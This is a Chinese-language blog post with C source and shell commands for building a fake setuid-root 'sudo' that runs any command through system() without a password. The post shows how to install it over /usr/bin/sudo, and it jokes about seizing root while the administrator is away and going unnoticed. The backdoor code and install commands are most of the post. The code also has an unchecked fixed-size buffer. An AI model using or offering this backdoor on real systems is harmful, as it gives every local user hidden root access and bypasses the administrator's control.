利用system函数窃取Linux系统超级特权
大家都知道,在linux家族中最近几年出了个能干的Ubuntu,它里面有个命令特别与众不同--sudo这个命令确实给普通用户提供了很大的方便。可是每次执行sudo的时候都需要有个passwd输入。
要知道程序员是很懒滴,每次输入一串乱踢八糟的东东真滴很郁闷,特别是当输入几次都出错滴时候。这时候就应该想到去看看sudo这个家伙是怎么搞的啦。于是:
$cat /usr/bin/sudo
结果出来一大堆乱码,哦,竟然是二进制滴,悲剧了
想到ISO C给了一个很好用的东东 system() 。有个这个东东大家可能很快就能明白我要干什么了,呵呵。是了,自己搞个sudo。我系统原来的干掉。这样,呵呵,特权从此泄露。所有用户都是超级管理员,而管理员老先生还不知道发生了什么,尽管憧憬吧。不过,至少你得有一次接触到超级用户权限的机会。呵呵,这个好办,趁他上厕所。呵呵。邪恶……
下面将我滴sudo跟大家分享分享:
sudo.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc ,char * argv[]){
char commandline[1024];
char * ptr = commandline;
if(argc < 2){
fputs("Usage: sudo commandline arg0 ...\n",stderr);
exit(1);
}
for(int i = 1; argv[i] != NULL;i++){
for(int j= 0;j < strlen(argv[i]);j++){
/*这里考虑标准IO库行缓冲最大值1024的缘故没有判断缓冲区溢出的情景,如果要在重要场合应用这个程序
可以在此添加溢出判断*/
*ptr++ = argv[i][j];
}
*ptr++ = ' ';
}
*ptr++ = '\0';
if(system(commandline) < 0){
fputs("Err: in system!",stderr);
exit(2);
}
return 0;
}
编译:
$gcc -std=c99 sudo.c -o sudo
得到了sudo这个赝品,呵呵
接下来就是窃取超级特权的瞬间了,看好了
$sudo chown root ./sudo
$sudo chmod u+s ./sudo
$sudo chmod o+x ../sudo
替换系统sudo(这个好像有点太邪恶了,呵呵)
$sudo cp /usr/bin/sudo /usr/bin/sudo.bak
$sudo cp ./sudo /usr/bin/sudo
大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!
试试你的新sudo
如果不想这么邪恶,可以将我们这个sudo放在自己的目录下,编辑登录脚本,使得我们的路径放置在系统那个sudo的前面,这样,平常就用这个强大的赝品sudo,有必要用原来那个sudo的时候就用$/usr/bin/sudo yourcommandline
这样滴话,就不会惹恼管理员了,自己也能安静些,其他用户没有执行你的路径的权限,也是访问不到你这个强大的sudo滴,呵呵
注意:如果在上面的介绍中替换了系统的sudo,可以用下面的命令找回:
$cd youranothersudopath
$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo
OK,又恢复原样。
呵呵呵呵呵额呵呵。尽情的享受吧,哪天郁闷了把服务器给 干了,呵呵
后记:貌似这个sudo不会造成系统的重大问题,因为好多任务都会检查实际用户ID,这样的话即使有设置用户Id标识,但是还是不能通过部分检查,可见(Unix)linux设计的是多么好Y。